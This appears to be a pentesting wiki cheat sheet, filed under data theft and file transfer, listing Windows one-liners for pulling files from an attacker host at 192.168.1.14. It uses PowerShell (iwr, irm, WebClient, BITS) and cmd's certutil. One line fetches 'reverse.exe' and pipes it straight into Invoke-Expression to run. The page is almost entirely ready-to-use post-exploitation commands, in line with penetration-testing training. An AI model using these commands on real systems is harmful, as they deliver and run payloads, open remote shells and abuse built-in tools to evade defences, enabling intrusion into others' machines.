> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/data-theft/file-transper/windows.md).

# Windows

{% tabs %}
{% tab title="PowerShell" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># Invoke-WebRequest
</strong>iwr -uri http://192.168.1.14/test.txt -outf test.txt

<strong># Invoke-Expression
</strong>iex (New-Object Net.WebClient).DownloadString('http://192.168.1.14/reverse.exe')

<strong># Invoke-RestMethod
</strong>irm http://192.168.1.14/test.txt -outf test.txt

<strong># Net.Client
</strong>(New-Object System.Net.WebClient).DownloadFile("http://192.168.1.14/test.txt", "$pwd\test.txt")

<strong># BITS API
</strong>Start-BitsTransfer -Source http://192.168.1.14/test.txt -Destination test.txt

<strong># WebClient
</strong>[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('http://192.168.1.14/test.txt','test.txt')
</code></pre>

{% endtab %}

{% tab title="cmd" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># certutil
</strong>certutil -f -urlcache http://192.168.1.14/test.txt test.txt
</code></pre>

{% endtab %}
{% endtabs %}
